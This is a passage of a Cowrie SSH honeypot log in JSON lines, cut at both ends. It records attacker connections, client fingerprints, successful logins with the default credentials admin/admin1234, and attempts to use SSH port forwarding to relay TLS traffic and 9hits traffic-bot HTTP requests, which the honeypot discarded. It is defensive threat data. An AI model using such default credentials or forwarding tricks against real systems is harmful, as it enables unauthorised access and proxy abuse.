b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xed\\xd8\\xa1\\xc9\\xc7\\xabu\\x84\\x1d\\x00\\xa5\\xb7\\xb8\\x10\\x86\\xb3\\xf0\\xc7#\\xa4\\x8e\\xfc3\\xef\\xfd\\xdeA\\x01-\\xafV\\xcc v\\x92\\xa2\\x82\\xc2t\\x80\\x87\\x0cQ\\xbb\\x96\\xf1\\x17\\x06v\\x1b\\xfcb\\n\\xf7D\\xc6y\\x8a\\xe3\\xe7\\xbd\\xac\\xb3$\\x8b\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xdf\\xf3\\xf9\\xac]g\\xeb\\x9aY\\x1e\\xd8m\\xaa\\xc4b\\xcd[\\xf7<\\x9a\\xbc\\x7f\\xb3\\xc2\\xac\\x1c\\xff\\xb3\\x03\\x84G]\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:09.090179Z","src_ip":"63.141.242.2","session":"13508dada589","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:09.141727Z","session":"13508dada589","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:09.187188Z","src_ip":"63.141.242.2","session":"13508dada589","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd5T\\xc8q}8:\\xfe\\xeb\\x94\\x99\\xc1\\xa0\\x1bU\\x99KD\\x1c1M1\\x89\\xed\\xa8\\xdf3,`x\\x99| -\\xa7\\x81\\x8d\\xa3\\x82\\xdc0\\x8d\\xea\\xd5i\\xd5)b\\x80\\x07z~\\xca\\x90\\xbe\\xf9M\\xbdp@\\xc4\\x93i\\x94\\xd3\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 t\\xd6\\x93\\x9c\\x80\\xdd\\xaf/Kcc\\xdf\\xd1\\x14\\x96\\x02,\\xa4W\\xa0\\xa8k\\x97s\\xc8_\\xa6\\xab\\xd2\\\\\\xa4,\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd5T\\xc8q}8:\\xfe\\xeb\\x94\\x99\\xc1\\xa0\\x1bU\\x99KD\\x1c1M1\\x89\\xed\\xa8\\xdf3,`x\\x99| -\\xa7\\x81\\x8d\\xa3\\x82\\xdc0\\x8d\\xea\\xd5i\\xd5)b\\x80\\x07z~\\xca\\x90\\xbe\\xf9M\\xbdp@\\xc4\\x93i\\x94\\xd3\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 t\\xd6\\x93\\x9c\\x80\\xdd\\xaf/Kcc\\xdf\\xd1\\x14\\x96\\x02,\\xa4W\\xa0\\xa8k\\x97s\\xc8_\\xa6\\xab\\xd2\\\\\\xa4,\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:09.190667Z","src_ip":"63.141.242.2","session":"13508dada589","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.52","src_port":62879,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6f73488869f","protocol":"ssh","message":"New connection: 23.175.50.52:62879 (10.17.0.5:22) [session: b6f73488869f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:10.490028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:10.494480Z","src_ip":"23.175.50.52","session":"b6f73488869f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:10.639183Z","src_ip":"23.175.50.52","session":"b6f73488869f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:12.385730Z","src_ip":"23.175.50.52","session":"b6f73488869f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.9","message":"Connection lost after 17.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:12.645964Z","src_ip":"63.141.242.2","session":"13508dada589","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"25.5","message":"Connection lost after 25.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:13.257824Z","src_ip":"38.46.222.137","session":"c2fb4856fcad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.46.222.137","src_port":51949,"dst_ip":"10.17.0.5","dst_port":22,"session":"7acb2b0f199c","protocol":"ssh","message":"New connection: 38.46.222.137:51949 (10.17.0.5:22) [session: 7acb2b0f199c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:22.143053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:22.147694Z","src_ip":"38.46.222.137","session":"7acb2b0f199c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:22.220029Z","src_ip":"38.46.222.137","session":"7acb2b0f199c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:22.999227Z","session":"b6f73488869f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:23.057837Z","src_ip":"23.175.50.52","session":"b6f73488869f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1170\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9; CITI 8592 3G CS8209MG) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=K3JhYWw%2BdEwrRz8wSWlVQg%3D%3DlGSuMo9qNFG1h3d2i%2BNRz%2FAnDpU2yvShjw1VJM%2BZzKhxx8tgo4PwyfIpRZoVtPyvWzhpNZOn%2FDPALgaIl2y8vNVwUYnc3jfrdQ89WIFLptz55MMnFLOl2QLi9YeeMk86K98y1dKdin7bLLw2t3JQPnaMLraacU%2Fq6N72J9Jz9Sl%2Bf1UKBq8wpCt%2F3UVyo3V4dDLtmrkdMT9FBAAmyfS9%2Bm9Mmqd98GJGWSy4ObFbbqxInKP99yjP68gB1YsWznv%2BpxyHNxNfzlA7%2FNLSuApDBksX4AVe6yQTHfXfA%2FIMPz0aO5C6hrpfifugacPIZAwSn3wSBnEFvBy7KHwoDPhKFxPTT%2BBgdN6sbbXjoPOXSkrjULi%2BmhAvtjG1uoYuTsJlIT39zlM3rSvll9gIrMcj%2FzAVv8cKQo%2BqnWy6qiQ74RRFQhRsjaVlbvIsToNZ%2FeXYLjYhF4PUKSQkAI13C0ufEXC%2B9GWIxR1wlhB1s8Zrz%2ButpMM3tllbDsJ0IXX2zQNhgAkWXuOpeeXJ1gEx37tE8RDvMEAoirgTZtjoZvBmDhTrrwBjf0Yg4k5y7tDkyFB7ejC7sTPduVM1WGbKvkL9mrApFyr0jaCJ93oA%2BP3MbhHcrqsYLwHSyQhEy6%2BdzSBccXCKoHbbpMzx5%2BhP2aAwH5I2scBWH5HXgY3SPFeqZjQXr86tRmsPXZcEBebbCYAromMTc2NqnrvyfbtfaN72X26gBPB%2BXKva0zRFZD%2Fd8Jeau7cBCW3PXFCDxhfDJDqovds96h2e822Rho%2BFHyus1hNU5PNZRqbdlcVwwakp0BCF1dsjKI0%2Bbjf606Y9zzxeyc8MKOPFeImpXQDDcFH8NbggWShKMKNhSEKfgyt5FJbMu7c8%2FD5vy%2BcvKEnZMKq17J92M7IKS1LjHa708vxTfDfzLJJMRITB9fwdQDpKE5k4cpXQga%2FD6pYdVgug6sVnq2JkcNrWERk67G04cYxLU5ULlWVcxtZqJ%2BHwrd2k5fbhKFMolDJ%2FmWYWzJI%2FPq5CAE6RQWdh%2FppVM0gaZCcDH7jcKuwvM2wQOyAn%2Fi%2F2Wio%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1170\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9; CITI 8592 3G CS8209MG) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=K3JhYWw%2BdEwrRz8wSWlVQg%3D%3DlGSuMo9qNFG1h3d2i%2BNRz%2FAnDpU2yvShjw1VJM%2BZzKhxx8tgo4PwyfIpRZoVtPyvWzhpNZOn%2FDPALgaIl2y8vNVwUYnc3jfrdQ89WIFLptz55MMnFLOl2QLi9YeeMk86K98y1dKdin7bLLw2t3JQPnaMLraacU%2Fq6N72J9Jz9Sl%2Bf1UKBq8wpCt%2F3UVyo3V4dDLtmrkdMT9FBAAmyfS9%2Bm9Mmqd98GJGWSy4ObFbbqxInKP99yjP68gB1YsWznv%2BpxyHNxNfzlA7%2FNLSuApDBksX4AVe6yQTHfXfA%2FIMPz0aO5C6hrpfifugacPIZAwSn3wSBnEFvBy7KHwoDPhKFxPTT%2BBgdN6sbbXjoPOXSkrjULi%2BmhAvtjG1uoYuTsJlIT39zlM3rSvll9gIrMcj%2FzAVv8cKQo%2BqnWy6qiQ74RRFQhRsjaVlbvIsToNZ%2FeXYLjYhF4PUKSQkAI13C0ufEXC%2B9GWIxR1wlhB1s8Zrz%2ButpMM3tllbDsJ0IXX2zQNhgAkWXuOpeeXJ1gEx37tE8RDvMEAoirgTZtjoZvBmDhTrrwBjf0Yg4k5y7tDkyFB7ejC7sTPduVM1WGbKvkL9mrApFyr0jaCJ93oA%2BP3MbhHcrqsYLwHSyQhEy6%2BdzSBccXCKoHbbpMzx5%2BhP2aAwH5I2scBWH5HXgY3SPFeqZjQXr86tRmsPXZcEBebbCYAromMTc2NqnrvyfbtfaN72X26gBPB%2BXKva0zRFZD%2Fd8Jeau7cBCW3PXFCDxhfDJDqovds96h2e822Rho%2BFHyus1hNU5PNZRqbdlcVwwakp0BCF1dsjKI0%2Bbjf606Y9zzxeyc8MKOPFeImpXQDDcFH8NbggWShKMKNhSEKfgyt5FJbMu7c8%2FD5vy%2BcvKEnZMKq17J92M7IKS1LjHa708vxTfDfzLJJMRITB9fwdQDpKE5k4cpXQga%2FD6pYdVgug6sVnq2JkcNrWERk67G04cYxLU5ULlWVcxtZqJ%2BHwrd2k5fbhKFMolDJ%2FmWYWzJI%2FPq5CAE6RQWdh%2FppVM0gaZCcDH7jcKuwvM2wQOyAn%2Fi%2F2Wio%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:23.060349Z","src_ip":"23.175.50.52","session":"b6f73488869f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:23.247298Z","src_ip":"38.46.222.137","session":"7acb2b0f199c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:26.998268Z","session":"7acb2b0f199c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:27.051687Z","src_ip":"38.46.222.137","session":"7acb2b0f199c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 12_5_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.5.4 Mobile/16H50 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=c2Qvaik%2BcW5zZHZIM1RoWA%3D%3DTJMBgA0Bq%2B8RCMQdn9eL50U0eTGttSFATelCRdlOKr52w0cbGKRas2fowUI8O8xn2avO8FtVrIy6nd8SduKJRoFHg8FnZHlDnNmn2zFgo86s1A6K1DSYfxcyC8jABg4sWLYORRemAsdgUSjJEegu88XOPFhBiFGvD%2BzbgW%2ByfFuK7AGJVt4rlfJcLjH7qFU7b%2Fxj4qKXwII35a7kRcsh1bU%2BDTMJqUcVi6mtPuzoZszMUwP9zl0%2B%2FDICVZhoyU6YJnEjJEQoEcWHV9Z3PNd%2BXbyRGiMdQrmdV3PKMmmw6XGh2d9ZwHABmzRmbcpz8OJs3loeHf9ThNbac2s907H8S920Hw7lRaiJowP84AZzSGYS%2BoXT3YdZCn28PrGN32p5LUZ9uR7B6o2QaiBJP2QAajJcyvPCqacCyCojLqBOzJ4Up2kdpKLxYxDhrMIr9ZY4DLq8FsmG1dekjA%2B5R8u3zYOV4U6tdGjID8q%2B93UWPtQflYmMYFs%2BTf4lfCP5RXOTdfTY%2Fl1oNAkMRALlgm1hwWhncVEnzSGcmPSG7EKpYRnI3CI%2Bnoncu5acfvf9vryXaFkjSq1hLqrHemYIksiIFPUkylYX8rStcYKPK1etdAlyD%2FWNv%2F08nntrvGVgHj56UXl0O%2FL%2FO0on6qDo9QoTl6Zq3I2h